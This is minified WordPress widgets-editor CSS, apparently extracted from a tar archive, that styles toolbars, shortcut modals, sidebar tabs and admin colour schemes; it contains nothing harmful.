.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{ transition:transform .2s cubic-bezier(.165, .84, .44, 1); } @media (prefers-reduced-motion:reduce){ .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{ transition-delay:0s; transition-duration:0s; } } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{ transform:rotate(-45deg); } .edit-widgets-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .edit-widgets-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .edit-widgets-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 1rem 0 0; text-align:left; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 .2rem 0 0; } .components-panel__header.edit-widgets-sidebar__panel-tabs{ border-top:0; justify-content:flex-start; margin-top:0; padding-left:4px; padding-right:0; } .components-panel__header.edit-widgets-sidebar__panel-tabs ul{ display:flex; } .components-panel__header.edit-widgets-sidebar__panel-tabs li{ margin:0; } .components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{ display:none; margin-right:auto; } @media (min-width:782px){ .components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{ display:flex; } } .components-button.edit-widgets-sidebar__panel-tab{ background:transparent; border:none; border-radius:0; box-shadow:none; cursor:pointer; font-weight:500; height:48px; margin-right:0; padding:3px 16px; position:relative; } .components-button.edit-widgets-sidebar__panel-tab:focus:not(:disabled){ box-shadow:none; outline:none; position:relative; } .components-button.edit-widgets-sidebar__panel-tab:after{ background:var(--wp-admin-theme-color); border-radius:0; bottom:0; content:""; height:calc(var(--wp-admin-border-width-focus)*0); left:0; pointer-events:none; position:absolute; right:0; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-widgets-sidebar__panel-tab:after{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-widgets-sidebar__panel-tab.is-active:after{ height:calc(var(--wp-admin-border-width-focus)*1); outline:2px solid transparent; outline-offset:-1px; } .components-button.edit-widgets-sidebar__panel-tab:before{ border-radius:2px; bottom:12px; box-shadow:0 0 0 0 transparent; content:""; left:12px; pointer-events:none; position:absolute; right:12px; top:12px; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-widgets-sidebar__panel-tab:before{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-widgets-sidebar__panel-tab:focus-visible:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-widgets-widget-areas__top-container{ display:flex; padding:16px; } .edit-widgets-widget-areas__top-container .block-editor-block-icon{ margin-left:16px; } .edit-widgets-notices__snackbar{ bottom:20px; left:0; padding-left:16px; padding-right:16px; position:fixed; right:0; } @media (min-width:783px){ .edit-widgets-notices__snackbar{ right:160px; } } @media (min-width:783px){ .auto-fold .edit-widgets-notices__snackbar{ right:36px; } } @media (min-width:961px){ .auto-fold .edit-widgets-notices__snackbar{ right:160px; } } .folded .edit-widgets-notices__snackbar{ right:0; } @media (min-width:783px){ .folded .edit-widgets-notices__snackbar{ right:36px; } } body.is-fullscreen-mode .edit-widgets-notices__snackbar{ right:0 !important; } .edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{ border-bottom:1px solid rgba(0,0,0,.2); box-sizing:border-box; margin:0; min-height:60px; padding:0 12px; } .edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{ margin-top:12px; } .edit-widgets-layout__inserter-panel{ display:flex; flex-direction:column; height:100%; } .edit-widgets-layout__inserter-panel .block-editor-inserter__menu{ overflow:hidden; } .edit-widgets-layout__inserter-panel-header{ display:flex; justify-content:flex-end; padding-left:8px; padding-top:8px; } .edit-widgets-layout__inserter-panel-content{ height:calc(100% - 44px); } @media (min-width:782px){ .edit-widgets-layout__inserter-panel-content{ height:100%; } } @media (min-width:782px){ .blocks-widgets-container .interface-interface-skeleton__header:not(:focus-within){ z-index:19; } } .edit-widgets-welcome-guide{ width:312px; } .edit-widgets-welcome-guide__image{ background:#00a0d2; margin:0 0 16px; } .edit-widgets-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-widgets-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-widgets-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 24px; padding:0 32px; } .edit-widgets-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-widgets-block-editor{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; position:relative; } .edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{ display:flex; flex-direction:column; flex-grow:1; } .edit-widgets-block-editor .edit-widgets-main-block-list{ height:100%; } .edit-widgets-block-editor .components-button{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; } .edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{ padding:6px; } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0; } @media (min-width:783px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:160px; } } @media (min-width:783px){ .auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:36px; } } @media (min-width:961px){ .auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:160px; } } .folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0; } @media (min-width:783px){ .folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:36px; } } body.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0 !important; } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ display:block; position:sticky; top:0; width:100%; z-index:31; } @media (min-width:782px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ align-items:center; border-bottom:none; display:flex; height:60px; margin-right:180px; min-height:auto; position:fixed; top:32px; width:calc(100% - 180px); } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:240px; top:0; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:80px; width:calc(100% - 140px); } .is-fullscreen-mode .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:144px; } .blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:153.6px; } .blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{ margin-right:268.8px; } } @media (min-width:960px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ width:auto; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ width:calc(100% - 536px); } } .edit-widgets-editor__list-view-panel{ display:flex; flex-direction:column; height:100%; min-width:350px; } .edit-widgets-editor__list-view-panel-content{ height:calc(100% - 44px); overflow-y:auto; padding:8px; } .edit-widgets-editor__list-view-panel-header{ align-items:center; border-bottom:1px solid #ddd; display:flex; height:48px; justify-content:space-between; padding-left:4px; padding-right:16px; } body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{ background:#fff; } body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{ padding-right:0; } body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{ right:-1px; top:-1px; } body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{ border-left-color:#fff; } body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } .blocks-widgets-container,.components-modal__frame{ box-sizing:border-box; } .blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{ box-sizing:inherit; } @media (min-width:600px){ .blocks-widgets-container{ bottom:0; left:0; min-height:calc(100vh - 46px); position:absolute; right:0; top:0; } } @media (min-width:782px){ .blocks-widgets-container{ min-height:calc(100vh - 32px); } } .blocks-widgets-container .interface-interface-skeleton__content{ background-color:#f0f0f0; } .blocks-widgets-container .editor-styles-wrapper{ margin:auto; max-width:700px; } .edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{ display:none; } .js .widgets-php .notice{ display:none !important; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/edit-widgets/style.css000064400000074335151202620300012545 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .components-panel__header.interface-complementary-area-header__small{ background:#fff; padding-right:4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } @media (min-width:782px){ .components-panel__header.interface-complementary-area-header__small{ display:none; } } .interface-complementary-area-header{ background:#fff; padding-right:4px; } .interface-complementary-area-header .components-button.has-icon{ display:none; margin-left:auto; } .interface-complementary-area-header .components-button.has-icon~.components-button{ margin-left:0; } @media (min-width:782px){ .interface-complementary-area-header .components-button.has-icon{ display:flex; } .components-panel__header+.interface-complementary-area-header{ margin-top:0; } } .interface-complementary-area{ background:#fff; color:#1e1e1e; } @media (min-width:600px){ .interface-complementary-area{ -webkit-overflow-scrolling:touch; } } @media (min-width:782px){ .interface-complementary-area{ width:280px; } } .interface-complementary-area .components-panel{ border:none; position:relative; z-index:0; } .interface-complementary-area .components-panel__header{ position:sticky; top:0; z-index:1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:48px; } @media (min-width:782px){ .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:0; } } .interface-complementary-area p:not(.components-base-control__help){ margin-top:0; } .interface-complementary-area h2{ color:#1e1e1e; font-size:13px; margin-bottom:1.5em; } .interface-complementary-area h3{ color:#1e1e1e; font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .interface-complementary-area hr{ border-bottom:1px solid #f0f0f0; border-top:none; margin:1.5em 0; } .interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{ box-shadow:none; margin-bottom:1.5em; } .interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{ margin-bottom:0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus{ bottom:10px; left:auto; right:10px; top:auto; } @media (min-width:782px){ body.js.is-fullscreen-mode{ height:calc(100% + 32px); margin-top:-32px; } body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{ display:none; } body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{ margin-left:0; } } html.interface-interface-skeleton__html-container{ position:fixed; width:100%; } @media (min-width:782px){ html.interface-interface-skeleton__html-container{ position:static; width:auto; } } .interface-interface-skeleton{ bottom:0; display:flex; flex-direction:row; height:auto; max-height:100%; position:fixed; right:0; top:46px; } @media (min-width:783px){ .interface-interface-skeleton{ top:32px; } .is-fullscreen-mode .interface-interface-skeleton{ top:0; } } .interface-interface-skeleton__editor{ display:flex; flex:0 1 100%; flex-direction:column; overflow:hidden; } .interface-interface-skeleton{ left:0; } @media (min-width:783px){ .interface-interface-skeleton{ left:160px; } } @media (min-width:783px){ .auto-fold .interface-interface-skeleton{ left:36px; } } @media (min-width:961px){ .auto-fold .interface-interface-skeleton{ left:160px; } } .folded .interface-interface-skeleton{ left:0; } @media (min-width:783px){ .folded .interface-interface-skeleton{ left:36px; } } body.is-fullscreen-mode .interface-interface-skeleton{ left:0 !important; } .interface-interface-skeleton__body{ display:flex; flex-grow:1; overflow:auto; overscroll-behavior-y:none; } @media (min-width:782px){ .has-footer .interface-interface-skeleton__body{ padding-bottom:25px; } } .interface-interface-skeleton__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; z-index:20; } @media (min-width:782px){ .interface-interface-skeleton__content{ z-index:auto; } } .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ background:#fff; bottom:0; color:#1e1e1e; flex-shrink:0; left:0; position:absolute; right:0; top:0; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ position:relative !important; width:auto; } .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{ z-index:90; } } .interface-interface-skeleton__sidebar{ overflow:auto; } @media (min-width:782px){ .interface-interface-skeleton__sidebar{ border-left:1px solid #e0e0e0; } .interface-interface-skeleton__secondary-sidebar{ border-right:1px solid #e0e0e0; } } .interface-interface-skeleton__header{ border-bottom:1px solid #e0e0e0; color:#1e1e1e; flex-shrink:0; height:auto; z-index:30; } .interface-interface-skeleton__footer{ background-color:#fff; border-top:1px solid #e0e0e0; bottom:0; color:#1e1e1e; display:none; flex-shrink:0; height:auto; left:0; position:absolute; width:100%; z-index:90; } @media (min-width:782px){ .interface-interface-skeleton__footer{ display:flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb{ align-items:center; background:#fff; display:flex; font-size:13px; height:24px; padding:0 18px; z-index:30; } .interface-interface-skeleton__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:auto; position:fixed !important; right:0; top:-9999em; width:100vw; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__actions{ width:280px; } } .interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{ bottom:0; top:auto; } .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:46px; } @media (min-width:782px){ .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ border-left:1px solid #ddd; top:32px; } .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:0; } } .interface-more-menu-dropdown{ margin-left:-4px; } .interface-more-menu-dropdown .components-button{ padding:0 2px; width:auto; } @media (min-width:600px){ .interface-more-menu-dropdown{ margin-left:0; } .interface-more-menu-dropdown .components-button{ padding:0 4px; } } .interface-more-menu-dropdown__content .components-popover__content{ min-width:280px; } @media (min-width:480px){ .interface-more-menu-dropdown__content .components-popover__content{ max-width:480px; } } .interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{ padding:0; } .components-popover.interface-more-menu-dropdown__content{ z-index:99998; } .interface-pinned-items{ display:flex; gap:4px; margin-right:-4px; } .interface-pinned-items .components-button{ display:none; margin:0; } .interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{ display:flex; } .interface-pinned-items .components-button svg{ max-height:24px; max-width:24px; } @media (min-width:600px){ .interface-pinned-items .components-button{ display:flex; } .interface-preferences-modal{ height:calc(100% - 120px); width:calc(100% - 32px); } } @media (min-width:782px){ .interface-preferences-modal{ width:750px; } } @media (min-width:960px){ .interface-preferences-modal{ height:70%; } } @media (max-width:781px){ .interface-preferences-modal .components-modal__content{ padding:0; } } .interface-preferences__tabs .components-tab-panel__tabs{ left:16px; position:absolute; top:84px; width:160px; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{ border-radius:2px; font-weight:400; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{ background:#f0f0f0; box-shadow:none; font-weight:500; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{ content:none; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{ content:none; } .interface-preferences__tabs .components-tab-panel__tab-content{ margin-left:160px; padding-left:24px; } @media (max-width:781px){ .interface-preferences__provider{ height:100%; } } .interface-preferences-modal__section{ margin:0 0 2.5rem; } .interface-preferences-modal__section:last-child{ margin:0; } .interface-preferences-modal__section-legend{ margin-bottom:8px; } .interface-preferences-modal__section-title{ font-size:.9rem; font-weight:600; margin-top:0; } .interface-preferences-modal__section-description{ color:#757575; font-size:12px; font-style:normal; margin:-8px 0 8px; } .interface-preferences-modal__option+.interface-preferences-modal__option{ margin-top:16px; } .interface-preferences-modal__option .components-base-control__help{ margin-left:48px; margin-top:0; } .wp-block[data-type="core/widget-area"]{ margin-left:auto; margin-right:auto; max-width:700px; } .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{ background:#fff; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; height:48px; margin:0; position:relative; transform:translateZ(0); z-index:1; } .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{ background:#fff; } .wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{ position:relative; width:auto; } .wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{ max-width:100%; } .wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{ padding:0; } .blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{ margin:0; padding:0; } .blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{ margin-top:-48px; min-height:32px; padding:72px 16px 16px; } .wp-block-widget-area__highlight-drop-zone{ outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color); } body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{ pointer-events:none; } .edit-widgets-error-boundary{ box-shadow:0 .7px 1px rgba(0,0,0,.15),0 2.7px 3.8px -.2px rgba(0,0,0,.15),0 5.5px 7.8px -.3px rgba(0,0,0,.15),.1px 11.5px 16.4px -.5px rgba(0,0,0,.15); margin:60px auto auto; max-width:780px; padding:20px; } .edit-widgets-header{ align-items:center; background:#fff; display:flex; height:60px; justify-content:space-between; overflow:auto; } @media (min-width:600px){ .edit-widgets-header{ overflow:visible; } } .edit-widgets-header__navigable-toolbar-wrapper{ align-items:center; display:flex; justify-content:center; padding-left:16px; } .edit-widgets-header__title{ font-size:20px; margin:0 20px 0 0; padding:0; } .edit-widgets-header__actions{ align-items:center; display:flex; gap:4px; padding-right:16px; } @media (min-width:600px){ .edit-widgets-header__actions{ gap:8px; } } .edit-widgets-header-toolbar{ border:none; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{ height:36px; min-width:36px; padding:6px; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{ background:#1e1e1e; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline:1px solid transparent; } .edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{ display:none; } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{ padding-left:8px; padding-right:8px; } @media (min-width:600px){ .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{ padding-left:12px; padding-right:12px; } } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{ content:none; } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{ transition:transform .2s cubic-bezier(.165, .84, .44, 1); } @media (prefers-reduced-motion:reduce){ .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{ transition-delay:0s; transition-duration:0s; } } .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{ transform:rotate(45deg); } .edit-widgets-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .edit-widgets-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .edit-widgets-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 0 0 1rem; text-align:right; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 0 0 .2rem; } .components-panel__header.edit-widgets-sidebar__panel-tabs{ border-top:0; justify-content:flex-start; margin-top:0; padding-left:0; padding-right:4px; } .components-panel__header.edit-widgets-sidebar__panel-tabs ul{ display:flex; } .components-panel__header.edit-widgets-sidebar__panel-tabs li{ margin:0; } .components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{ display:none; margin-left:auto; } @media (min-width:782px){ .components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{ display:flex; } } .components-button.edit-widgets-sidebar__panel-tab{ background:transparent; border:none; border-radius:0; box-shadow:none; cursor:pointer; font-weight:500; height:48px; margin-left:0; padding:3px 16px; position:relative; } .components-button.edit-widgets-sidebar__panel-tab:focus:not(:disabled){ box-shadow:none; outline:none; position:relative; } .components-button.edit-widgets-sidebar__panel-tab:after{ background:var(--wp-admin-theme-color); border-radius:0; bottom:0; content:""; height:calc(var(--wp-admin-border-width-focus)*0); left:0; pointer-events:none; position:absolute; right:0; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-widgets-sidebar__panel-tab:after{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-widgets-sidebar__panel-tab.is-active:after{ height:calc(var(--wp-admin-border-width-focus)*1); outline:2px solid transparent; outline-offset:-1px; } .components-button.edit-widgets-sidebar__panel-tab:before{ border-radius:2px; bottom:12px; box-shadow:0 0 0 0 transparent; content:""; left:12px; pointer-events:none; position:absolute; right:12px; top:12px; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-widgets-sidebar__panel-tab:before{ transition-delay:0s; transition-duration:0s; } } 